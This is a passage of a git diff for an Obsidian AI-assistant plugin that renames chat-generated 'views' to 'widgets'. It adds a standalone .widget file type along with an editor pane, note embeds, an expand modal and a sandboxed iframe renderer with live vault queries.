preflight default) the inner @@ -1672,19 +1741,25 @@ body.is-mobile .tool-output-content pre .clickable-icon { room for it — otherwise the card overflows its column by 2px and the message grows a horizontal scrollbar. */ box-sizing: content-box; - --s2b-view-border-width: 1px; - width: calc(100% - 2 * var(--s2b-view-border-width)); - border: var(--s2b-view-border-width) solid var(--background-modifier-border); + --s2b-widget-border-width: 1px; + width: calc(100% - 2 * var(--s2b-widget-border-width)); + border: var(--s2b-widget-border-width) solid var(--background-modifier-border); border-radius: var(--radius-m); background: var(--background-primary); } -.s2b-view-toolbar { +.s2b-widget-toolbar { display: flex; align-items: center; gap: var(--size-4-1); margin-bottom: var(--size-4-1); } -.s2b-view-toolbar-title { +.s2b-widget-toolbar-icon { + display: flex; + align-items: center; + color: var(--text-muted); + --icon-size: var(--icon-s); +} +.s2b-widget-toolbar-title { flex: 1; min-width: 0; overflow: hidden; @@ -1693,7 +1768,7 @@ body.is-mobile .tool-output-content pre .clickable-icon { font-size: var(--font-ui-small); color: var(--text-muted); } -.s2b-view-blocked { +.s2b-widget-blocked { padding: var(--size-4-4); border: 1px dashed var(--text-error); border-radius: var(--radius-m); @@ -1701,9 +1776,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { color: var(--text-error); } /* One blank rounded card lit by the same faint→bright→faint band that sweeps the - thinking-process header, with the label centred in it: "a view is being drawn + thinking-process header, with the label centred in it: "a widget is being drawn here", without implying what kind. */ -.s2b-view-placeholder { +.s2b-widget-placeholder { display: flex; align-items: center; justify-content: center; @@ -1719,9 +1794,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { var(--background-modifier-border) 100% ); background-size: 220% 100%; - animation: s2b-view-sweep 1.8s linear infinite; + animation: s2b-widget-sweep 1.8s linear infinite; } -.s2b-view-placeholder-label { +.s2b-widget-placeholder-label { font-size: var(--font-ui-small); background: linear-gradient( 100deg, @@ -1736,9 +1811,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { -webkit-background-clip: text; color: transparent; -webkit-text-fill-color: transparent; - animation: s2b-view-sweep 1.8s linear infinite; + animation: s2b-widget-sweep 1.8s linear infinite; } -@keyframes s2b-view-sweep { +@keyframes s2b-widget-sweep { 0% { background-position: 130% 0; } @@ -1747,18 +1822,18 @@ body.is-mobile .tool-output-content pre .clickable-icon { } } @media (prefers-reduced-motion: reduce) { - .s2b-view-placeholder { + .s2b-widget-placeholder { animation: none; background: var(--background-modifier-border); } - .s2b-view-placeholder-label { + .s2b-widget-placeholder-label { animation: none; background: none; color: var(--text-muted); -webkit-text-fill-color: var(--text-muted); } } -@keyframes s2b-view-pulse { +@keyframes s2b-widget-pulse { 0%, 100% { opacity: 0.55; @@ -1768,8 +1843,8 @@ body.is-mobile .tool-output-content pre .clickable-icon { } } @media (prefers-reduced-motion: reduce) { - .s2b-view-skeleton-bar, - .s2b-view-placeholder-label { + .s2b-widget-skeleton-bar, + .s2b-widget-placeholder-label { animation: none; } } diff --git a/src/types/plugin.ts b/src/types/plugin.ts index 36770ca4..45511f9f 100644 --- a/src/types/plugin.ts +++ b/src/types/plugin.ts @@ -474,8 +474,8 @@ export interface PluginData { targetFolder: string; attachmentFolder: string; - /** Folder where views generated in chat (`s2b-view` blocks) are saved as notes. */ - viewsFolder: string; + /** Folder where widgets generated in chat (`s2b-widget` blocks) are saved as `.widget` files. */ + widgetsFolder: string; /** * Configurable root vault folder for all agent context (default "Agents"). Holds three * fixed subdirectories: `Memories/` (shared memory notes) and `Skills/` (skill diff --git a/src/types/shared.ts b/src/types/shared.ts index 6839c80e..ff0e3e67 100644 --- a/src/types/shared.ts +++ b/src/types/shared.ts @@ -33,7 +33,14 @@ export const IMAGE_EXTENSIONS = new Set(["png", "jpg", "jpeg", "gif", "webp"]); /** File extensions considered PDFs */ export const PDF_EXTENSIONS = new Set(["pdf"]); /** File extensions considered plain-text documents */ -export const TEXT_EXTENSIONS = new Set(["md", "txt", "csv", "json"]); +export const TEXT_EXTENSIONS = new Set([ + "md", + "txt", + "csv", + "json", + // A standalone widget (`.widget`, see views/widget): frontmatter, then HTML — text the agent reads to revise it. + "widget", +]); // ============================================================================ // Pending Changes (Staged Write Operations) diff --git a/src/utils/fileFiltering.ts b/src/utils/fileFiltering.ts index 28f4510d..06df23c6 100644 --- a/src/utils/fileFiltering.ts +++ b/src/utils/fileFiltering.ts @@ -1,4 +1,6 @@ import { Platform, type TFile, type Vault } from "obsidian"; +import { stripWidgetFences } from "../widget/widgetFences"; +import { widgetIndexText } from "../widget/widgetSpec"; import { getAgentPathSource } from "./agentPathSource"; import { agentRootDir } from "./agentPaths"; import { THREAD_DATA_DEDUP_VERSION, inflateThreadData, sniffThreadDataVersion } from "../agent/threadDataCodec"; @@ -102,7 +104,7 @@ export function shouldProcessVaultPath(filePath: string, targetFolder: string): * Extensions whose content can be read as UTF-8 text via `vault.cachedRead()` * or `vault.read()`. Canvas files are JSON internally and included here. */ -const TEXT_INDEXABLE_EXTENSIONS = new Set(["md", "txt", "csv", "json", "yaml", "yml", "canvas", "chat"]); +const TEXT_INDEXABLE_EXTENSIONS = new Set(["md", "txt", "csv", "json", "yaml", "yml", "canvas", "chat", "widget"]); /** * Extensions whose text is extracted from a binary container rather than read @@ -250,7 +252,12 @@ export function getEmbeddableVaultFiles(vault: Vault): TFile[] { * before calling this helper. */ export async function readIndexableContent(vault: Vault, file: TFile): Promise<string> { - const content = await readIndexableContentRaw(vault, file); + const raw = await readIndexableContentRaw(vault, file); + // A widget's HTML/JS is noise to retrieval (and would surface as chunks). A fence in a + // note is replaced by a marker with its title; a `.widget` file contributes its title + // and description only — enough to be found by what it is about. + const content = + file.extension === "md" ? stripWidgetFences(raw) : file.extension === "widget" ? widgetIndexText(raw) : raw; const cap = maxIndexedTextChars(file); return content.length > cap ? content.slice(0, cap) : content; } diff --git a/src/views/settings/AgentsSettings.svelte b/src/views/settings/AgentsSettings.svelte index ca7e276f..4527de33 100644 --- a/src/views/settings/AgentsSettings.svelte +++ b/src/views/settings/AgentsSettings.svelte @@ -267,21 +267,21 @@ function getAgentSkillsSummary(agentId: string): { icons: string[]; overflow: nu {/if} </SettingGroup> - <SettingGroup heading="Views"> + <SettingGroup heading="Widgets"> <SettingItem - name="Views folder" - desc="Where a view generated in chat is saved when you click its save button." + name="Widgets folder" + desc="Where a widget generated in chat is saved when you click its save button." > <FolderSuggest app={plugin.app} - value={pluginData.viewsFolder} - placeholder="Views" + value={pluginData.widgetsFolder} + placeholder="Widgets" suggestionFn={(query) => suggestFolders().filter((folder) => folder.path.toLowerCase().includes(query.toLowerCase()), )} - onSelected={(path: string) => (pluginData.viewsFolder = path)} - onSubmit={(path: string) => (pluginData.viewsFolder = path)} + onSelected={(path: string) => (pluginData.widgetsFolder = path)} + onSubmit={(path: string) => (pluginData.widgetsFolder = path)} /> </SettingItem> </SettingGroup> diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts new file mode 100644 index 00000000..d4b63b44 --- /dev/null +++ b/src/views/widget/WidgetView.ts @@ -0,0 +1,200 @@ +import { FileView, Notice, setIcon, type TFile, type WorkspaceLeaf } from "obsidian"; +import type SecondBrainPlugin from "../../main"; +import { DEFAULT_WIDGET_ICON, resolveWidgetIcon } from "../../widget/widgetIcon"; +import { WidgetRenderChild } from "../../widget/WidgetRenderChild"; +import { parseWidgetSpec } from "../../widget/widgetSpec"; + +export const VIEW_TYPE_WIDGET = "smart-second-brain-widget"; +/** Extension of a standalone widget file. Its content is a widget fence's body: optional frontmatter, then HTML. */ +export const WIDGET_FILE_EXTENSION = "widget"; + +const RERENDER_DEBOUNCE_MS = 500; + +/** + * A `.widget` file as a workspace leaf: the frame fills the pane, no chrome around it. + * The file is the source of truth — the leaf re-renders when it changes on disk (which + * is how an agent edit accepted through the review flow lands here) and follows renames + * and deletes the way any `FileView` does. Obsidian has no text editor for the + * extension, so the leaf carries a minimal source mode of its own (a textarea with + * save/cancel) behind a header action, next to a refresh action. + */ +export class WidgetView extends FileView { + navigation = true; + private body: HTMLElement | null = null; + private child: WidgetRenderChild | null = null; + private source: HTMLElement | null = null; + private tabIcon = DEFAULT_WIDGET_ICON; + /** mtime of the file when the source editor loaded it; a save refuses if the file moved on. */ + private sourceMtime = 0; + private sourceStaleHint: HTMLElement | null = null; + private rerenderTimer: number | null = null; + + constructor( + leaf: WorkspaceLeaf, + private readonly plugin: SecondBrainPlugin, + ) { + super(leaf); + } + + getViewType(): string { + return VIEW_TYPE_WIDGET; + } + + getIcon(): string { + return this.tabIcon; + } + + canAcceptExtension(extension: string): boolean { + return extension === WIDGET_FILE_EXTENSION; + } + + async onOpen(): Promise<void> { + await super.onOpen(); + this.contentEl.empty(); + this.contentEl.addClass("s2b-widget-view"); + this.body = this.contentEl.createDiv({ cls: "s2b-widget-view-body" }); + + this.addAction("pencil", "Edit source", () => void this.toggleSource()); + this.addAction("refresh-cw", "Refresh", () => void this.render()); + + this.registerEvent( + this.plugin.app.vault.on("modify", (file) => { + if (file.path !== this.file?.path) return; + if (this.source) this.markSourceStale(); + else this.scheduleRender(); + }), + ); + } + + async onLoadFile(file: TFile): Promise<void> { + await super.onLoadFile(file); + this.closeSource(); + await this.render(); + } + + async onUnloadFile(file: TFile): Promise<void> { + this.closeSource(); + this.dropChild(); + this.body?.empty(); + await super.onUnloadFile(file); + } + + async onClose(): Promise<void> { + if (this.rerenderTimer !== null) window.clearTimeout(this.rerenderTimer); + this.dropChild(); + await super.onClose(); + } + + private scheduleRender(): void { + if (this.rerenderTimer !== null) window.clearTimeout(this.rerenderTimer); + this.rerenderTimer = window.setTimeout(() => { + this.rerenderTimer = null; + void this.render(); + }, RERENDER_DEBOUNCE_MS); + } + + private async render(): Promise<void> { + const file = this.file; + if (!this.body || !file) return; + const text = await this.plugin.app.vault.read(file); + // The leaf may have moved on to another file (or closed) during the read. + if (this.file !== file || !this.body) return; + this.dropChild(); + this.body.empty(); + const spec = parseWidgetSpec(text); + const icon = resolveWidgetIcon(spec.icon); + if (icon !== this.tabIcon) { + this.tabIcon = icon; + // The tab header read getIcon() before the file was parsed; internal leaf API. + (this.leaf as unknown as { updateHeader?: () => void }).updateHeader?.(); + } + this.child = new WidgetRenderChild(this.body, this.plugin.app, spec, file.path, { fill: true }); + this.addChild(this.child); + } + + private dropChild(): void { + if (this.child) { + this.removeChild(this.child); + this.child = null; + } + } + + /** Swap the rendered frame for a plain-text editor of the file, or back. */ + private async toggleSource(): Promise<void> { + if (this.source) { + this.closeSource(); + await this.render(); + return; + } + const file = this.file; + if (!file || !this.body) return; + const text = await this.plugin.app.vault.read(file); + if (this.file !== file || !this.body) return; + this.dropChild(); + this.body.empty(); + this.sourceMtime = file.stat.mtime; + this.source = this.body.createDiv({ cls: "s2b-widget-view-source" }); + const textarea = this.source.createEl("textarea", { + cls: "s2b-widget-view-source-text", + attr: { spellcheck: "false", "aria-label": "Widget source" }, + }); + textarea.value = text; + const bar = this.source.createDiv({ cls: "s2b-widget-view-source-bar" }); + const save = bar.createEl("button", { text: "Save", cls: "mod-cta" }); + const cancel = bar.createEl("button", { text: "Cancel" }); + const hint = bar.createSpan({ cls: "s2b-widget-view-source-hint" }); + setIcon(hint, "info"); + hint.createSpan({ text: "Frontmatter (title, height, queries, libs), then the HTML." }); + this.sourceStaleHint = bar.createSpan({ cls: "s2b-widget-view-source-hint s2b-widget-view-source-stale" }); + this.sourceStaleHint.hide(); + save.addEventListener("click", () => void this.saveSource(textarea.value)); + cancel.addEventListener("click", () => void this.toggleSource()); + textarea.addEventListener("keydown", (event) => { + if ((event.metaKey || event.ctrlKey) && event.key === "s") { + event.preventDefault(); + void this.saveSource(textarea.value); + } + }); + textarea.focus(); + } + + /** The file changed on disk while the editor holds an older copy: say so, and refuse to save over it. */ + private markSourceStale(): void { + const hint = this.sourceStaleHint; + if (!hint || !hint.isShown()) { + if (hint) { + setIcon(hint, "alert-triangle"); + hint.createSpan({ text: "Changed on disk while editing — Cancel to reload; Save is disabled." }); + hint.show(); + } + } + } + + private isSourceStale(): boolean { + return this.file !== null && this.file.stat.mtime !== this.sourceMtime; + } + + private async saveSource(text: string): Promise<void> { + const file = this.file; + if (!file) return; + if (this.isSourceStale()) { + this.markSourceStale(); + new Notice("This widget changed on disk while you were editing. Cancel to reload it, then edit again."); + return; + } + try { + await this.plugin.app.vault.modify(file, text.endsWith("\n") ? text : `${text}\n`); + } catch (error) { + new Notice(`Could not save widget: ${error instanceof Error ? error.message : String(error)}`); + return; + } + this.closeSource(); + await this.render(); + } + + private closeSource(): void { + this.source?.remove(); + this.source = null; + this.sourceStaleHint = null; + } +} diff --git a/src/views/widget/widgetEmbed.ts b/src/views/widget/widgetEmbed.ts new file mode 100644 index 00000000..64134a30 --- /dev/null +++ b/src/views/widget/widgetEmbed.ts @@ -0,0 +1,104 @@ +import { type App, MarkdownRenderChild, type TFile } from "obsidian"; +import type SecondBrainPlugin from "../../main"; +import { WidgetRenderChild } from "../../widget/WidgetRenderChild"; +import { parseWidgetSpec } from "../../widget/widgetSpec"; +import { Logger } from "../../utils/logging"; +import { WIDGET_FILE_EXTENSION } from "./WidgetView"; + +/** Shape of the context Obsidian's (internal) embed registry passes to an embed creator. */ +interface WidgetEmbedContext { + app: App; + containerEl: HTMLElement; + linktext: string; + sourcePath: string; + displayMode?: boolean; +} + +type EmbedCreator = (ctx: WidgetEmbedContext, file: TFile) => MarkdownRenderChild; + +interface EmbedRegistry { + registerExtensions?: (extensions: string[], creator: EmbedCreator) => void; + unregisterExtensions?: (extensions: string[]) => void; +} + +/** + * `![[dashboard.widget]]` inside a note, and the hover preview of a `.widget` link: the + * file rendered the same way a fence in a note is (auto height, card border). Obsidian's + * embed pipeline calls `loadFile()` after construction, and again when the embedded + * file changes on disk. + */ +class WidgetEmbed extends MarkdownRenderChild { + private child: WidgetRenderChild | null = null; + /** Bumped per load and on unload so a slower, older read cannot install stale content. */ + private generation = 0; + + constructor( + containerEl: HTMLElement, + private readonly plugin: SecondBrainPlugin, + private readonly file: TFile, + ) { + super(containerEl); + } + + loadFile(): void { + void this.render(); + } + + private async render(): Promise<void> { + const generation = ++this.generation; + try { + const text = await this.plugin.app.vault.cachedRead(this.file); + if (generation !== this.generation) return; + this.drop(); + this.containerEl.empty(); + this.containerEl.addClass("s2b-widget", "s2b-widget-embed"); + this.child = new WidgetRenderChild( + this.containerEl, + this.plugin.app, + parseWidgetSpec(text), + this.file.path, + ); + this.addChild(this.child); + } catch (error) { + Logger.error(`Failed to render .widget embed for ${this.file.path}:`, error); + this.containerEl.setText("Could not load widget."); + } + } + + onunload(): void { + this.generation++; + this.drop(); + } + + private drop(): void { + if (this.child) { + this.removeChild(this.child); + this.child = null; + } + } +} + +let warnedMissingRegistry = false; + +/** + * Register the `.widget` embed renderer with Obsidian's internal embed registry. Not part + * of the public API and not torn down by the Component lifecycle: pair with + * {@link unregisterWidgetEmbed} in onunload (see `chatEmbed.ts` for the history). + */ +export function registerWidgetEmbed(plugin: SecondBrainPlugin): void { + const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; + if (!registry?.registerExtensions) { + if (!warnedMissingRegistry) { + warnedMissingRegistry = true; + Logger.warn("app.embedRegistry unavailable — .widget embed/hover previews disabled."); + } + return; + } + registry.registerExtensions([WIDGET_FILE_EXTENSION], (ctx, file) => new WidgetEmbed(ctx.containerEl, plugin, file)); +} + +/** Reverses {@link registerWidgetEmbed}; call from onunload. */ +export function unregisterWidgetEmbed(plugin: SecondBrainPlugin): void { + const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; + registry?.unregisterExtensions?.([WIDGET_FILE_EXTENSION]); +} diff --git a/src/widget/WidgetModal.ts b/src/widget/WidgetModal.ts new file mode 100644 index 00000000..c95e9ecd --- /dev/null +++ b/src/widget/WidgetModal.ts @@ -0,0 +1,35 @@ +import { type App, Modal } from "obsidian"; +import { WidgetRenderChild } from "./WidgetRenderChild"; +import type { WidgetSpec } from "./widgetSpec"; + +/** + * A widget expanded to (almost) the whole window. Used from the chat toolbar for a + * closer look without saving. It renders a fresh copy of the widget in fill mode — an + * iframe cannot be moved in the DOM without reloading, so there is nothing to gain from + * trying to reuse the inline one — and tears it down on close. + */ +export class WidgetModal extends Modal { + private child: WidgetRenderChild | null = null; + + constructor( + app: App, + private readonly spec: WidgetSpec, + private readonly sourcePath: string, + ) { + super(app); + } + + onOpen(): void { + this.modalEl.addClass("s2b-widget-modal"); + this.titleEl.setText(this.spec.title ?? "Widget"); + this.contentEl.addClass("s2b-widget-modal-content"); + this.child = new WidgetRenderChild(this.contentEl, this.app, this.spec, this.sourcePath, { fill: true }); + this.child.load(); + } + + onClose(): void { + this.child?.unload(); + this.child = null; + this.contentEl.empty(); + } +} diff --git a/src/widget/WidgetRenderChild.ts b/src/widget/WidgetRenderChild.ts new file mode 100644 index 00000000..9932818d --- /dev/null +++ b/src/widget/WidgetRenderChild.ts @@ -0,0 +1,263 @@ +import { type App, type EventRef, type HoverPopover, Keymap, MarkdownRenderChild } from "obsidian"; +import { + buildWidgetFrameSrcdoc, + collectThemeCss, + type HoverNoteMessage, + parseFrameMessage, + WIDGET_FRAME_PADDING_PX, + WIDGET_READY_EVENT, +} from "./widgetFrame"; +import { resolveWidgetLibs } from "./widgetLibs"; +import { runWidgetQueries } from "./widgetQueries"; +import type { WidgetSpec } from "./widgetSpec"; + +const LIVE_UPDATE_DEBOUNCE_MS = 400; +const DEFAULT_AUTO_HEIGHT = 96; +const MIN_AUTO_HEIGHT = 24; +const MAX_AUTO_HEIGHT = 4000; + +/** + * Vault/index events that mean a query's answer may have changed. Dataview's own + * events fire after *its* index caught up, which is when a re-run is worth doing; + * the raw metadata-cache event covers vaults without Dataview and is harmless with it + * (the debounce folds them together). + */ +const REFRESH_EVENTS = ["changed", "dataview:metadata-change", "dataview:index-ready"]; + +/** Hover-link source id registered in main.ts so page preview knows these links. */ +export const WIDGET_HOVER_SOURCE = "smart-second-brain-widget"; + +/** + * One rendered widget: owns the sandboxed frame, feeds it query results, keeps those + * results live while the vault changes, and tears everything down with the block. + * + * `this.frame` is the trusted outer relay frame (see `viewFrame.ts`); the widget's own + * document is nested inside it and never talks to the host directly. + * + * Lifecycle is Obsidian's `MarkdownRenderChild`: `onload` when the block is attached + * to a loaded parent component, `onunload` when that parent unloads (the reading + * widget re-renders, the chat message is replaced, the note closes). + */ +export class WidgetRenderChild extends MarkdownRenderChild { + /** Page preview attaches its popover here (`HoverParent`). */ + hoverPopover: HoverPopover | null = null; + private frame: HTMLIFrameElement | null = null; + private hoverProxy: HTMLElement | null = null; + /** The note the current proxy stands for, so a modifier press can re-trigger its preview. */ + private hoverPath: string | null = null; + private refreshTimer: number | null = null; + private queryGeneration = 0; + + constructor( + containerEl: HTMLElement, + private readonly app: App, + private readonly spec: WidgetSpec, + private readonly sourcePath: string, + /** `fill`: the frame takes its container's height (a leaf) instead of sizing to content. */ + private readonly options: { fill?: boolean } = {}, + ) { + super(containerEl); + } + + onload(): void { + const frame = this.containerEl.createEl("iframe", { + cls: "s2b-widget-frame", + attr: { + sandbox: "allow-scripts", + referrerpolicy: "no-referrer", + title: this.spec.title ?? "Widget", + }, + }); + if (this.options.fill) frame.addClass("s2b-widget-fill"); + else frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * WIDGET_FRAME_PADDING_PX}px`; + this.frame = frame; + + this.registerDomEvent(window, "message", (event: MessageEvent) => this.onMessage(event)); + // Page preview can be set to require Cmd/Ctrl per source; for a link in a note it + // reacts to the key being pressed while already hovering. The proxy gets the same: + // the pointer is over it (so the host owns keyboard events), and a modifier press + // re-triggers the preview with the current modifier state. + this.registerDomEvent(window, "keydown", (event: KeyboardEvent) => { + if (this.hoverProxy && this.hoverPath && ["Meta", "Control", "Alt", "Shift"].includes(event.key)) { + this.triggerHover( + this.hoverProxy, + this.hoverPath, + event.ctrlKey || event.key === "Control", + event.metaKey || event.key === "Meta", + ); + } + }); + this.registerEvent(this.app.workspace.on("css-change", () => this.postTheme())); + + if (Object.keys(this.spec.queries).length > 0) { + const cache = this.app.metadataCache as unknown as { on(name: string, callback: () => void): EventRef }; + for (const name of REFRESH_EVENTS) { + this.registerEvent(cache.on(name, () => this.scheduleRefresh())); + } + this.registerEvent(this.app.vault.on("delete", () => this.scheduleRefresh())); + this.registerEvent(this.app.vault.on("rename", () => this.scheduleRefresh())); + } + + // Set last: the frame starts loading (and may post `ready`) as soon as srcdoc is assigned. + frame.srcdoc = buildWidgetFrameSrcdoc( + this.spec.body, + collectThemeCss(), + resolveWidgetLibs(this.spec.libs).sources, + !this.options.fill && this.spec.height === undefined, + ); + } + + onunload(): void { + if (this.refreshTimer !== null) { + window.clearTimeout(this.refreshTimer); + this.refreshTimer = null; + } + // Invalidate any in-flight query so its result is dropped rather than posted. + this.queryGeneration++; + this.removeHoverProxy(); + this.frame = null; + } + + private onMessage(event: MessageEvent): void { + if (!this.frame || event.source !== this.frame.contentWindow) return; + const message = parseFrameMessage(event.data); + if (!message) return; + switch (message.type) { + case "ready": + this.frame.dataset.s2bWidgetReady = "true"; + this.containerEl.dispatchEvent(new CustomEvent(WIDGET_READY_EVENT, { bubbles: true })); + void this.postData(); + break; + case "requery": + this.scheduleRefresh(); + break; + case "resize": { + if (this.options.fill) break; + // Auto: follow the content. Declared: the layout gets that height, but the frame + // shrinks to the content's drawn extent when that is shorter — models over-estimate + // heights, and the surplus would show as empty space. Percentage-sized children + // fill the declared height, so their extent equals it and nothing changes. + const height = + this.spec.height === undefined + ? Math.min(MAX_AUTO_HEIGHT, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.height))) + : Math.min(this.spec.height, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.extent))); + this.frame.style.height = `${height + 2 * WIDGET_FRAME_PADDING_PX}px`; + break; + } + case "open-note": + // Same tab/split/window mapping a modified click gets on a link in a note. + void this.app.workspace.openLinkText( + message.path, + this.sourcePath, + Keymap.isModEvent(new MouseEvent("click", message.modifiers)), + ); + break; + case "hover-note": + this.showHoverProxy(message); + break; + case "navigated": + this.retireFrame(); + break; + } + } + + /** + * The outer frame reports that the widget document was replaced (a navigation the + * CSP backstop did not refuse). Nothing may be posted to whatever loaded in its + * place: drop the frame and say why in its stead. + */ + private retireFrame(): void { + this.queryGeneration++; + this.frame?.remove(); + this.frame = null; + this.containerEl.createDiv({ + cls: "s2b-widget-blocked", + text: "This widget was stopped because it tried to navigate away from its sandbox.", + }); + } + + /** + * Lay an invisible element over the hovered link's box — the frame's content is + * unreachable from the host — and hand it to page preview as the link. The proxy + * takes pointer events, so the popover's own hover tracking works natively; it + * opens the note on click and removes itself when the pointer leaves it. + */ + private showHoverProxy({ path, rect, ctrlKey, metaKey }: HoverNoteMessage): void { + const frame = this.frame; + if (!frame) return; + this.removeHoverProxy(); + const frameBox = frame.getBoundingClientRect(); + const hostBox = this.containerEl.getBoundingClientRect(); + const style = getComputedStyle(frame); + const insetX = (Number.parseFloat(style.borderLeftWidth) || 0) + WIDGET_FRAME_PADDING_PX; + const insetY = (Number.parseFloat(style.borderTopWidth) || 0) + WIDGET_FRAME_PADDING_PX; + const innerWidth = frameBox.width - 2 * insetX; + const innerHeight = frameBox.height - 2 * insetY; + // Clamp to the visible part of the widget document. + const x = Math.max(0, Math.min(rect.x, innerWidth)); + const y = Math.max(0, Math.min(rect.y, innerHeight)); + const width = Math.max(1, Math.min(rect.width - (x - rect.x), innerWidth - x)); + const height = Math.max(1, Math.min(rect.height - (y - rect.y), innerHeight - y)); + + const proxy = this.containerEl.createDiv({ cls: "s2b-widget-hover-proxy" }); + proxy.style.left = `${frameBox.left - hostBox.left + insetX + x}px`; + proxy.style.top = `${frameBox.top - hostBox.top + insetY + y}px`; + proxy.style.width = `${width}px`; + proxy.style.height = `${height}px`; + proxy.addEventListener("mouseleave", () => this.removeHoverProxy()); + proxy.addEventListener("click", (event) => { + void this.app.workspace.openLinkText(path, this.sourcePath, Keymap.isModEvent(event)); + }); + this.hoverProxy = proxy; + this.hoverPath = path; + this.triggerHover(proxy, path, ctrlKey, metaKey); + } + + private triggerHover(proxy: HTMLElement, path: string, ctrlKey: boolean, metaKey: boolean): void { + const proxyBox = proxy.getBoundingClientRect(); + this.app.workspace.trigger("hover-link", { + event: new MouseEvent("mouseover", { + ctrlKey, + metaKey, + clientX: proxyBox.left + proxyBox.width / 2, + clientY: proxyBox.top + proxyBox.height / 2, + }), + source: WIDGET_HOVER_SOURCE, + hoverParent: this, + targetEl: proxy, + linktext: path, + sourcePath: this.sourcePath, + }); + } + + private removeHoverProxy(): void { + this.hoverProxy?.remove(); + this.hoverProxy = null; + this.hoverPath = null; + } + + private post(message: Record<string, unknown>): void { + // The frame has an opaque origin (sandbox without allow-same-origin), so "*" is the + // only target that reaches it; the CSP inside keeps what it receives from leaving. + this.frame?.contentWindow?.postMessage({ s2bWidget: true, ...message }, "*"); + } + + private postTheme(): void { + this.post({ type: "theme", css: collectThemeCss() }); + } + + private scheduleRefresh(): void { + if (this.refreshTimer !== null) window.clearTimeout(this.refreshTimer); + this.refreshTimer = window.setTimeout(() => { + this.refreshTimer = null; + void this.postData(); + }, LIVE_UPDATE_DEBOUNCE_MS); + } + + private async postData(): Promise<void> { + const generation = ++this.queryGeneration; + const data = await runWidgetQueries(this.app, this.spec.queries, this.sourcePath); + if (generation !== this.queryGeneration || !this.frame) return; + this.post({ type: "data", data }); + } +} diff --git a/src/genview/rawJs.d.ts b/src/widget/rawJs.d.ts similarity index 74% rename from src/genview/rawJs.d.ts rename to src/widget/rawJs.d.ts index b106b9f8..bfee4485 100644 --- a/src/genview/rawJs.d.ts +++ b/src/widget/rawJs.d.ts @@ -1,5 +1,5 @@ /** - * Vendored browser bundles inlined into view frames (see `viewLibs.ts`). Imported as raw + * Vendored browser bundles inlined into widget frames (see `widgetLibs.ts`). Imported as raw * text and injected as an inline `<script>`; a sandboxed frame has no network to load them * from, and blob URLs are origin-bound so an opaque-origin frame could not fetch one either. */ diff --git a/src/widget/registerWidgetBlocks.ts b/src/widget/registerWidgetBlocks.ts new file mode 100644 index 00000000..61d38ff5 --- /dev/null +++ b/src/widget/registerWidgetBlocks.ts @@ -0,0 +1,148 @@ +import { type App, Notice, normalizePath, setIcon, type TFile } from "obsidian"; +import type SecondBrainPlugin from "../main"; +import { getData } from "../stores/dataStore.svelte"; +import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; +import { WIDGET_FILE_EXTENSION } from "../views/widget/WidgetView"; +import { resolveWidgetIcon } from "./widgetIcon"; +import { WidgetRenderChild } from "./WidgetRenderChild"; +import { resolveWidgetLibs, WIDGET_LIBS } from "./widgetLibs"; +import { + parseWidgetSpec, + WIDGET_BLOCK_LANGUAGE, + type WidgetSpec, + widgetFileBasename, + wrapWidgetFence, +} from "./widgetSpec"; + +/** + * Set on the chat renderer's staging element for the still-streaming tail of a reply + * (`MarkdownRenderer.svelte`). An unclosed fence renders as a code block on every + * frame of the stream, so without this guard a half-written widget would spin up a + * fresh iframe (and run half a script) per token. Once the fence closes and its + * paragraph is sealed it renders outside the tail, and the frame appears right then — + * not only when the whole reply has settled. + */ +export const STREAMING_TAIL_CLASS = "s2b-md-tail"; + +/** Must match the `s2b-widget-sweep` keyframes duration in styles.css. */ +const SWEEP_PERIOD_MS = 1800; + +/** Register the `s2b-widget` code-block processor. Applies everywhere markdown renders. */ +export function registerWidgetBlocks(plugin: SecondBrainPlugin): void { + plugin.registerMarkdownCodeBlockProcessor(WIDGET_BLOCK_LANGUAGE, (source, el, ctx) => { + el.addClass("s2b-widget"); + if (el.closest(`.${STREAMING_TAIL_CLASS}`)) { + renderPlaceholder(el); + return; + } + const spec = parseWidgetSpec(source); + const { unknown } = resolveWidgetLibs(spec.libs); + if (unknown.length > 0) { + el.createDiv({ + cls: "s2b-widget-blocked", + text: `This widget asks for a library that is not bundled: ${unknown.join(", ")}. Available: ${Object.keys(WIDGET_LIBS).join(", ")}.`, + }); + return; + } + // Inside a chat the block is a proposal the user may want to keep, so it gets a + // toolbar; in a note it already is the note's content. + if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { + renderChatToolbar(plugin, el, spec, source, ctx.sourcePath); + } + ctx.addChild(new WidgetRenderChild(el, plugin.app, spec, ctx.sourcePath)); + }); +} + +/** + * Placeholder shown while the fence is still being streamed: one blank card with the + * label centred in it, both carrying the sweep the thinking-process header uses. The + * streaming tail is re-rendered on every frame, so this element is recreated many times + * a second; the sweep's phase is pinned to wall-clock time so it reads as one continuous + * animation rather than restarting with each rebuild. + */ +function renderPlaceholder(el: HTMLElement): void { + const placeholder = el.createDiv({ cls: "s2b-widget-placeholder" }); + const phase = `-${Math.round(performance.now() % SWEEP_PERIOD_MS)}ms`; + placeholder.style.animationDelay = phase; + placeholder.createDiv({ cls: "s2b-widget-placeholder-label", text: "Generating widget…" }).style.animationDelay = + phase; +} + +/** + * From the chat a widget can be expanded for a closer look, copied as a fence to paste + * inline into a note, or saved as a standalone `.widget` file — which opens as its own + * pane, is embeddable with `![[name.widget]]`, and stays out of the search indexes. + */ +function renderChatToolbar( + plugin: SecondBrainPlugin, + el: HTMLElement, + spec: WidgetSpec, + source: string, + sourcePath: string, +): void { + const bar = el.createDiv({ cls: "s2b-widget-toolbar" }); + setIcon(bar.createSpan({ cls: "s2b-widget-toolbar-icon" }), resolveWidgetIcon(spec.icon)); + bar.createSpan({ cls: "s2b-widget-toolbar-title", text: spec.title ?? "Widget" }); + // Saving twice from the same block would create a second file: share one in-flight + // save, and forget it only if it failed. + let saving: Promise<TFile> | null = null; + const save = (): Promise<TFile> => { + saving 